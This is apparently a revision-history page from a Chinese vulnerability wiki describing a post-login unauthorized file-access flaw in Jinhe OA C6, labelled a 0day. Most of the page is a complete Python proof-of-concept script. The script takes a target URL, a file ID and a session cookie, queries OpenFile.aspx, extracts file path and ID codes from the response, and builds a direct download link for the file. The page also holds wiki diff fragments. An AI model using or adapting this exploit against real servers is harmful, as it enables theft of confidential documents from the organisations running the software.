Xc1ym: Created page with "POC只检测是否存在漏洞，且漏洞存在于后台需要登录运行后访问链接即可下载文件"

2021-07-05T09:51:21Z

Created page with "POC只检测是否存在漏洞，且漏洞存在于后台需要登录运行后访问链接即可下载文件"

Xc1ym: Created page with "==漏洞影响=="

2021-07-05T09:50:11Z

Created page with "==漏洞影响=="

New page

<languages />

==漏洞影响==
<pre>
金和OA C6
</pre>

==POC==

===⚠️️===
<div lang="chinese" dir="ltr" class="mw-content-ltr">
POC只檢測是否存在漏洞，且漏洞存在於後台需要登錄
運行後訪問鏈接即可下載文件
</div>

<pre>
import requests
import sys
import random
import re
import base64
import time
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 金和OA C6 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')

def POC_1(target_url, file_id, cookie):
vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie":cookie
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
print("\033[36m[o] 正在请求 Url: {}\033[0m".format(vuln_url))
if "strFilePath =" in response.text and response.status_code == 200:
strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0]
strFileType = strFilePath[-3:]
strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0]
strId = re.findall(r"var strId = '(.*?)';", response.text)[0]
sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0]
if strFilePath != "":
print("\033[36m[o] 目标 {} 存在漏洞, 获取文件信息:\n[o] 文件路径：{}\n[o] 文件类型：{}\n[o] 文件ID code：{}\n[o] 文件编号：{}\033[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
print("\033[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
else:
print("\033[31m[x] 目标 {} 文件不存在 \033[0m".format(target_url))
else:
print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))

except Exception as e:
print("\033[31m[x] 请求失败 \033[0m", e)

if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
file_id = str(input("\033[35mFile_id >>> \033[0m"))
cookie = str(input("\033[35mCookie >>> \033[0m"))
POC_1(target_url, file_id, cookie)
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://mp.weixin.qq.com/s/90HM3LqODBN35iqRBRE1HA

@@ Line 10: / Line 10: @@
 ===⚠️️===
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+POC只检测是否存在漏洞，且漏洞存在于后台需要登录运行后访问链接即可下载文件
 <pre>
@@ Line 72: / Line 69: @@
-<div lang="chinese" dir="ltr" class="mw-content-ltr">
+==参考==
 https://mp.weixin.qq.com/s/90HM3LqODBN35iqRBRE1HA

金和OA C6 後台越權敏感文件遍歷漏洞 0day/zh-cn - Revision history

Xc1ym: Created page with "POC只检测是否存在漏洞，且漏洞存在于后台需要登录运行后访问链接即可下载文件"

Xc1ym: Created page with "==漏洞影响=="